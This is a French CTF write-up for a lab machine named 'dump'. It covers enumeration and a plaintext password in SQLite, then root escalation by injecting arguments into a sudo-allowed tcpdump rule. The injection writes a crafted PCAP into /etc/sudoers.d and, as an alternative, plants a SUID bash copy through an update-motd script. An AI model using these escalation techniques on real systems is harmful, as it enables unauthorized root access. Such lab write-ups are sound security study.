Énumération post-foothold (www-data)
Deux utilisateurs disposent d'un home et d'un shell valide sur la machine :
cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
admin:x:1000:1000:Debian:/home/admin:/bin/bash
fritz:x:1001:1001::/home/fritz:/bin/bash
L'arborescence /var/www contient les sources PHP de l'application et une base de données SQLite :
ls /var/www
database html userdata
ls /var/www/html
capture.php delete.php downloads logout.php upload.php
capturing.php download.php index.php style.css view.php
ls /var/www/database/
database.sqlite3
La configuration sudo de www-data est particulièrement intéressante :
sudo -l
User www-data may run the following commands on dump:
(ALL : ALL) NOPASSWD: /usr/bin/tcpdump -c10
-w/var/cache/captures/*/[0-9a-f][0-9a-f][0-9a-f]...
-F/var/cache/captures/filter.[0-9a-f][0-9a-f][0-9a-f]...
Extraction du mot de passe depuis la base SQLite
La base de données /var/www/database/database.sqlite3 contient une unique table users. Son contenu révèle des mots de passe stockés en clair :
sqlite3 /var/www/database/database.sqlite3
.headers on
select * from users;
username|password|guid
fritz|Passw0rdH4shingIsforNoobZ!|534ce8b9-6a77-4113-a8c1-66462519bfd1
Le mot de passe de l'utilisateur fritz est exposé en clair : Passw0rdH4shingIsforNoobZ!.
Accès SSH en tant que fritz – Flag user
Les identifiants récupérés permettent une connexion directe via SSH :
ssh [email protected]
# Mot de passe : Passw0rdH4shingIsforNoobZ!
Linux dump 5.10.0-36-cloud-amd64 #1 SMP Debian 5.10.244-1 (2025-09-29) x86_64
fritz@dump:~$
cat ~/user.txt
ea37a470************************
L'utilisateur fritz n'a aucun droit sudo sur cette machine :
sudo -l
Sorry, user fritz may not run sudo on dump.
Privilèges www-data : primitives d'écriture arbitraire via sudo tcpdump
La règle sudo de www-data autorise l'utilisation de tcpdump avec des arguments partiellement contrôlables. On identifie et chaîne plusieurs primitives :
Directory Traversal dans -w : Le * dans le chemin -w/var/cache/captures/*/ accepte n'importe quel sous-répertoire, y compris une séquence de traversal permettant d'écrire hors du répertoire autorisé :
touch /var/cache/captures/filter.aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa
sudo tcpdump -c10 \
-w/var/cache/captures/a/../../../../dev/shm/11111111-1111-1111-1111-111111111111 \
-F/var/cache/captures/filter.aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa
tcpdump: listening on eth0, link-type EN10MB (Ethernet)
10 packets captured
Injection d'un second -w : En fractionnant le premier -w avec un chemin valide mais court (satisfaisant le regex), on peut injecter un second -w qui sera la destination réelle :
sudo tcpdump -c10 \
-w/var/cache/captures/a/ \
-w /dev/shm/11111111-1111-1111-1111-111111111112 \
-F/var/cache/captures/filter.aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa
Changement de propriétaire avec -Z : L'option -Z [user] fait changer le propriétaire du fichier de sortie vers l'utilisateur spécifié, après que tcpdump a ouvert les interfaces réseau avec les droits root :
sudo tcpdump -c10 \
-w/var/cache/captures/a/ \
-Z root \
-w /dev/shm/11111111-1111-1111-1111-111111111113 \
-F/var/cache/captures/filter.aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa
ls -l /dev/shm/11111111-1111-1111-1111-111111111113
-rw-r--r-- 1 root root 913 Nov 2 00:38 /dev/shm/11111111-1111-1111-1111-111111111113
Écriture d'un fichier sudoers via PCAP crafté → root
L'option -r [pcap] de tcpdump permet de lire depuis un fichier PCAP existant au lieu d'écouter sur une interface réseau. Le contenu du PCAP est alors répliqué dans le fichier de sortie -w. On peut donc injecter du contenu arbitraire en créant un PCAP spécialement préparé.
Sur la machine d'attaque, on crée un fichier texte contenant la règle sudoers souhaitée, puis on l'encapsule dans un PCAP en le transmettant via UDP sur une capture locale :
# Fichier sudoers source :
fritz ALL=(ALL:ALL) NOPASSWD: ALL
# Création du PCAP :
sudo tcpdump -w sudoers.pcap -c10 -i lo -A udp port 9001 &
cat sudoers | nc -u 127.0.0.1 9001
# Vérification du contenu :
cat sudoers.pcap
p/ iEME?@@j#)+>
fritz ALL=(ALL:ALL) NOPASSWD: ALL
On transfère le PCAP vers la cible (encode base64, copier/coller, décode), puis on l'utilise pour écrire un fichier sudoers appartenant à root dans /etc/sudoers.d/ :
sudo tcpdump -c10 \
-w/var/cache/captures/a/ \
-Z root \
-r sudoers.pcap \
-w /etc/sudoers.d/11111111-1111-1111-1111-111111111116 \
-F/var/cache/captures/filter.aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa
reading from file sudoers.pcap, link-type EN10MB (Ethernet)
Depuis le compte fritz, on vérifie que la règle sudo est effective. Les quelques octets d'en-tête PCAP en début de fichier génèrent une erreur de syntaxe ignorée, mais la ligne sudoers valide est bien appliquée :
sudo -l
/etc/sudoers.d/11111111-1111-1111-1111-111111111116:1:77: syntax error
User fritz may run the following commands on dump:
(ALL : ALL) NOPASSWD: ALL
On obtient un shell root et le flag :
sudo -i
/etc/sudoers.d/11111111-1111-1111-1111-111111111116:1:77: syntax error
root@dump:~# cat /root/root.txt
84406779************************
Méthode alternative : écriture dans /etc/update-motd.d/
Une seconde voie d'escalade exploite les scripts /etc/update-motd.d/, exécutés par root lors de chaque connexion SSH. En utilisant la primitive d'écriture avec -Z fritz, on crée un fichier dans ce répertoire appartenant à fritz :
sudo tcpdump -c10 \
-w/var/cache/captures/a/ \
-Z fritz \
-w /etc/update-motd.d/dddddddd-dddd-dddd-dddd-dddddddddddd \
-F/var/cache/captures/filter.aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa
Fritz étant propriétaire du fichier créé, il peut le rendre exécutable et en réécrire le contenu avec un script bash malveillant :
chmod +x /etc/update-motd.d/dddddddd-dddd-dddd-dddd-dddddddddddd
echo -e '#!/bin/bash
cp /bin/bash /tmp/0xdf
chmod 6777 /tmp/0xdf' | tee /etc/update-motd.d/dddddddd-dddd-dddd-dddd-dddddddddddd
À la prochaine connexion SSH de fritz, root exécute ce script automatiquement, copiant bash avec le bit SUID positionné :
ssh [email protected]
fritz@dump:~$ /tmp/0xdf -p
0xdf-5.1# cat /root/root.txt
84406779************************
Note sur AppArmor
Un profil AppArmor est actif sur tcpdump (/etc/apparmor.d/usr.bin.tcpdump). Il bloque notamment :
- L'écriture dans les fichiers cachés du répertoire HOME (
audit deny @{HOME}/.* mrwkl) — ce qui interdit d'écrire dans /root/.ssh/authorized_keys directement - L'utilisation de
-z avec des binaires arbitraires (seuls gzip et bzip2 sont autorisés)
En revanche, le profil autorise la lecture et l'écriture sur tous les fichiers .pcap et .cap via la règle /**.[pP][cC][aA][pP] rw, et ne restreint pas l'écriture dans /etc/sudoers.d/ ni /etc/update-motd.d/, ce qui permet les deux méthodes d'escalade décrites ci-dessus.